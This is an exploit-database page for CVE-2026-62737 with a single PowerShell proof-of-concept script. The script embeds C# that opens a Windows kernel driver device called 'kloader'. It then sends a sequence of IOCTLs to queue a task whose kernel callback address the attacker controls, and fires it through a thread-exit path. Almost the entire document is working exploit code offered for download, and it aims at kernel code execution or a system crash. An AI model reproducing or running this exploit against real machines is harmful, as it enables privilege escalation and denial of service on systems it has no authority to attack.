Exploit databaseDownload repository ZIP
GH-7bfed7cdce0a89f0239035614a0213ab
loanvui/cve-2026-62737
Sources for CVE-2026-62737
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
loanvui/cve-2026-62737Revision 06737851ead1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
ecpoc-route-b.ps1
PowerShell · 15,276 bytesparam(
[switch]$ProbeOnly,
[Alias('Verbose')]
[switch]$VerboseOutput
)
$ErrorActionPreference = 'Stop'
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using System.Threading;
public static class EcRouteB
{
private const uint GENERIC_READ = 0x80000000;
private const uint GENERIC_WRITE = 0x40000000;
private const uint FILE_SHARE_READ = 0x00000001;
private const uint FILE_SHARE_WRITE = 0x00000002;
private const uint OPEN_EXISTING = 3;
private const uint FILE_ATTRIBUTE_NORMAL = 0x00000080;
private const uint FILE_FLAG_OVERLAPPED = 0x40000000;
private const uint ERROR_IO_PENDING = 997;
private const uint WAIT_OBJECT_0 = 0;
private const uint INFINITE = 0xFFFFFFFF;
private const uint IOCTL_INITIALIZE = 0x22EC40;
private const uint IOCTL_QUEUE_TASK = 0x22AC54;
private const uint IOCTL_REGISTER_USER_THREAD_MONITOR = 0x226C5C;
private const ulong CALLBACK_MARKER = 0xFFFFF80041414141UL;
private const ulong ARGUMENT_MARKER = 0x1122334455667788UL;
// Win32 OVERLAPPED, x64 layout (32 bytes):
// +0x00 ULONG_PTR Internal
// +0x08 ULONG_PTR InternalHigh
// +0x10 union { struct { DWORD Offset; DWORD OffsetHigh; } ; PVOID Pointer; }
// +0x18 HANDLE hEvent
[StructLayout(LayoutKind.Sequential)]
private struct OVERLAPPED
{
public UIntPtr Internal;
public UIntPtr InternalHigh;
public UIntPtr Offset;
public IntPtr hEvent;
}
private static readonly IntPtr InvalidHandleValue = new IntPtr(-1);
private static IntPtr Device = InvalidHandleValue;
private static IntPtr StartMonitorEvent = IntPtr.Zero;
private static IntPtr MonitorOverlappedPtr = IntPtr.Zero;
private static IntPtr MonitorOverlappedEvent = IntPtr.Zero;
private static ThreadStartRoutine ThreadRoutineRoot;
private static bool VerboseOutput;
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
private delegate uint ThreadStartRoutine(IntPtr parameter);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateFileW(
string name,
uint desiredAccess,
uint shareMode,
IntPtr securityAttributes,
uint creationDisposition,
uint flagsAndAttributes,
IntPtr templateFile);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateEventW(
IntPtr securityAttributes,
bool manualReset,
bool initialState,
string name);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetEvent(IntPtr handle);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr handle, uint milliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateThread(
IntPtr threadAttributes,
UIntPtr stackSize,
ThreadStartRoutine startAddress,
IntPtr parameter,
uint creationFlags,
out uint threadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool DeviceIoControl(
IntPtr device,
uint ioControlCode,
IntPtr inputBuffer,
uint inputLength,
IntPtr outputBuffer,
uint outputLength,
out uint bytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetOverlappedResult(
IntPtr file,
IntPtr lpOverlapped,
out uint bytesTransferred,
bool wait);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr handle);
private static void Zero(IntPtr buffer, int length)
{
for (int i = 0; i < length; ++i)
{
Marshal.WriteByte(buffer, i, 0);
}
}
private static bool IsInvalid(IntPtr handle)
{
return handle == IntPtr.Zero || handle == InvalidHandleValue;
}
private static void Report(string message)
{
if (VerboseOutput)
{
Console.WriteLine(message);
Console.Out.Flush();
}
}
private static string FormatHandle(IntPtr handle)
{
return string.Format("0x{0:X}", handle.ToInt64());
}
private static IntPtr OpenDevice()
{
return CreateFileW(
@"\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
IntPtr.Zero,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
IntPtr.Zero);
}
// Synchronous IOCTL: temporary unmanaged OVERLAPPED, freed after completion.
private static bool SendSynchronousIoctl(
IntPtr device,
uint ioctl,
IntPtr input,
uint inputLength,
out int win32Error)
{
IntPtr completed = CreateEventW(IntPtr.Zero, true, false, null);
if (IsInvalid(completed))
{
win32Error = Marshal.GetLastWin32Error();
return false;
}
int overlappedSize = Marshal.SizeOf(typeof(OVERLAPPED));
IntPtr overlappedPtr = Marshal.AllocHGlobal(overlappedSize);
Zero(overlappedPtr, overlappedSize);
Marshal.WriteIntPtr(overlappedPtr, 0x18, completed);
uint bytes;
bool ok = DeviceIoControl(
device,
ioctl,
input,
inputLength,
IntPtr.Zero,
0,
out bytes,
overlappedPtr);
if (!ok)
{
int error = Marshal.GetLastWin32Error();
if ((uint)error != ERROR_IO_PENDING)
{
Marshal.FreeHGlobal(overlappedPtr);
CloseHandle(completed);
win32Error = error;
return false;
}
ok = GetOverlappedResult(device, overlappedPtr, out bytes, true);
if (!ok)
{
int error2 = Marshal.GetLastWin32Error();
Marshal.FreeHGlobal(overlappedPtr);
CloseHandle(completed);
win32Error = error2;
return false;
}
}
Marshal.FreeHGlobal(overlappedPtr);
CloseHandle(completed);
win32Error = 0;
return true;
}
private static uint MonitorThread(IntPtr ignored)
{
Report("[*] Native monitor thread waiting for release");
uint wait = WaitForSingleObject(StartMonitorEvent, INFINITE);
if (wait != WAIT_OBJECT_0)
{
Report(string.Format("[!] Monitor gate wait failed: 0x{0:X8}", wait));
return 2;
}
MonitorOverlappedEvent = CreateEventW(IntPtr.Zero, true, false, null);
if (IsInvalid(MonitorOverlappedEvent))
{
Report("[!] Monitor completion event creation failed");
return 3;
}
// Persistent unmanaged OVERLAPPED: the pending IRP keeps referencing it
// after this thread exits, so it must outlive the thread (until teardown).
int overlappedSize = Marshal.SizeOf(typeof(OVERLAPPED));
MonitorOverlappedPtr = Marshal.AllocHGlobal(overlappedSize);
Zero(MonitorOverlappedPtr, overlappedSize);
Marshal.WriteIntPtr(MonitorOverlappedPtr, 0x18, MonitorOverlappedEvent);
Report("[*] IOCTL_REGISTER_USER_THREAD_MONITOR 0x226C5C");
uint bytes;
bool ok = DeviceIoControl(
Device,
IOCTL_REGISTER_USER_THREAD_MONITOR,
IntPtr.Zero,
0,
IntPtr.Zero,
0,
out bytes,
MonitorOverlappedPtr);
int error = ok ? 0 : Marshal.GetLastWin32Error();
Report(string.Format("[+] Monitor IOCTL submitted: ok={0} gle={1}", ok, error));
// Thread exit is the trigger: NdisRegisterUserThreadExitCallback ->
// ExecutionContextUserThreadExit -> FreeUserModeResources -> wake KernelThread.
// OVERLAPPED + event intentionally leaked until process teardown.
Report("[*] Thread-exit trigger submitted; native monitor thread is returning");
return (ok || (uint)error == ERROR_IO_PENDING) ? 0U : 4U;
}
public static int Probe(bool verbose)
{
VerboseOutput = verbose;
Report("[*] Mode: ProbeOnly");
Report("[*] Opening KLoader device");
IntPtr handle = OpenDevice();
if (IsInvalid(handle))
{
int error = Marshal.GetLastWin32Error();
Report(string.Format("[!] CreateFileW failed: gle={0}", error));
return 10;
}
Report(string.Format("[+] KLoader device opened: handle={0}", FormatHandle(handle)));
CloseHandle(handle);
Report("[+] Probe complete; no IOCTLs sent");
return 0;
}
public static int Run(bool verbose)
{
VerboseOutput = verbose;
Report("[*] Mode: trigger");
Report("[*] Opening KLoader device");
Report(string.Format("[*] Task.Argument = 0x{0:X16}", ARGUMENT_MARKER));
Report(string.Format("[*] Task.Callback = 0x{0:X16}", CALLBACK_MARKER));
IntPtr userAction = IntPtr.Zero;
IntPtr kernelAction = IntPtr.Zero;
IntPtr initializeInput = IntPtr.Zero;
IntPtr taskInput = IntPtr.Zero;
IntPtr pollEvent = IntPtr.Zero;
IntPtr exitEvent = IntPtr.Zero;
IntPtr workerThread = IntPtr.Zero;
try
{
Device = OpenDevice();
if (IsInvalid(Device))
{
int error = Marshal.GetLastWin32Error();
Report(string.Format("[!] CreateFileW failed: gle={0}", error));
return 10;
}
Report(string.Format("[+] KLoader device opened: handle={0}", FormatHandle(Device)));
Report("[*] Allocating user and kernel action buffers");
userAction = Marshal.AllocHGlobal(0x200);
kernelAction = Marshal.AllocHGlobal(0x200);
Zero(userAction, 0x200);
Zero(kernelAction, 0x200);
pollEvent = CreateEventW(IntPtr.Zero, false, false, null);
exitEvent = CreateEventW(IntPtr.Zero, false, false, null);
StartMonitorEvent = CreateEventW(IntPtr.Zero, true, false, null);
if (IsInvalid(pollEvent) || IsInvalid(exitEvent) || IsInvalid(StartMonitorEvent))
{
Report("[!] Event creation failed");
return 11;
}
Report("[+] Synchronization events created");
ThreadRoutineRoot = new ThreadStartRoutine(MonitorThread);
uint workerThreadId;
workerThread = CreateThread(
IntPtr.Zero,
UIntPtr.Zero,
ThreadRoutineRoot,
IntPtr.Zero,
0,
out workerThreadId);
if (IsInvalid(workerThread))
{
Report("[!] CreateThread failed");
return 12;
}
Report(string.Format("[+] Native monitor thread created: tid={0}", workerThreadId));
initializeInput = Marshal.AllocHGlobal(48);
Zero(initializeInput, 48);
Marshal.WriteInt64(initializeInput, 0, userAction.ToInt64());
Marshal.WriteInt64(initializeInput, 8, userAction.ToInt64());
Marshal.WriteInt64(initializeInput, 16, kernelAction.ToInt64());
Marshal.WriteInt64(initializeInput, 24, workerThread.ToInt64());
Marshal.WriteInt64(initializeInput, 32, pollEvent.ToInt64());
Marshal.WriteInt64(initializeInput, 40, exitEvent.ToInt64());
int errorCode;
Report("[*] IOCTL_INITIALIZE 0x22EC40");
if (!SendSynchronousIoctl(Device, IOCTL_INITIALIZE, initializeInput, 48, out errorCode))
{
Report(string.Format("[!] IOCTL_INITIALIZE failed: gle={0}", errorCode));
return 20;
}
Report("[+] ExecutionContext initialized");
taskInput = Marshal.AllocHGlobal(64);
Zero(taskInput, 64);
Marshal.WriteInt64(taskInput, 0, unchecked((long)ARGUMENT_MARKER));
Marshal.WriteInt64(taskInput, 8, unchecked((long)CALLBACK_MARKER));
Report(string.Format("[*] Task.Argument = 0x{0:X16}", ARGUMENT_MARKER));
Report(string.Format("[*] Task.Callback = 0x{0:X16}", CALLBACK_MARKER));
Report("[*] IOCTL_QUEUE_TASK 0x22AC54");
if (!SendSynchronousIoctl(Device, IOCTL_QUEUE_TASK, taskInput, 64, out errorCode))
{
Report(string.Format("[!] IOCTL_QUEUE_TASK failed: gle={0}", errorCode));
return 21;
}
Report("[+] Controlled task queued");
if (!SetEvent(StartMonitorEvent))
{
Report("[!] Failed to release the monitor thread");
return 22;
}
Report("[+] Monitor thread released; thread-exit path is active");
uint threadWait = WaitForSingleObject(workerThread, 10000);
Report(string.Format("[*] Monitor thread wait result: 0x{0:X8}", threadWait));
for (int i = 1; i <= 6; ++i)
{
Thread.Sleep(5000);
Report(string.Format("[.] Waiting for kernel worker result: {0}/6", i));
}
Report("[!] No bugcheck observed; returning 30");
return 30;
}
catch (Exception)
{
Report("[!] Unexpected exception; returning 99");
return 99;
}
finally
{
if (taskInput != IntPtr.Zero) Marshal.FreeHGlobal(taskInput);
if (initializeInput != IntPtr.Zero) Marshal.FreeHGlobal(initializeInput);
if (kernelAction != IntPtr.Zero) Marshal.FreeHGlobal(kernelAction);
if (userAction != IntPtr.Zero) Marshal.FreeHGlobal(userAction);
if (!IsInvalid(workerThread)) CloseHandle(workerThread);
if (!IsInvalid(pollEvent)) CloseHandle(pollEvent);
if (!IsInvalid(exitEvent)) CloseHandle(exitEvent);
if (!IsInvalid(StartMonitorEvent)) CloseHandle(StartMonitorEvent);
if (!IsInvalid(Device)) CloseHandle(Device);
// MonitorOverlappedPtr / MonitorOverlappedEvent are intentionally
// NOT freed: the pending IRP may still reference them at teardown.
}
}
}
"@
if ($VerboseOutput) {
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object -TypeName System.Security.Principal.WindowsPrincipal -ArgumentList $identity
$isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
[Console]::WriteLine("[*] Identity: " + $identity.Name)
[Console]::WriteLine("[*] Administrator token: " + $isAdmin)
[Console]::Out.Flush()
}
if ($ProbeOnly) {
$rc = [EcRouteB]::Probe($VerboseOutput)
} else {
$rc = [EcRouteB]::Run($VerboseOutput)
}
exit $rc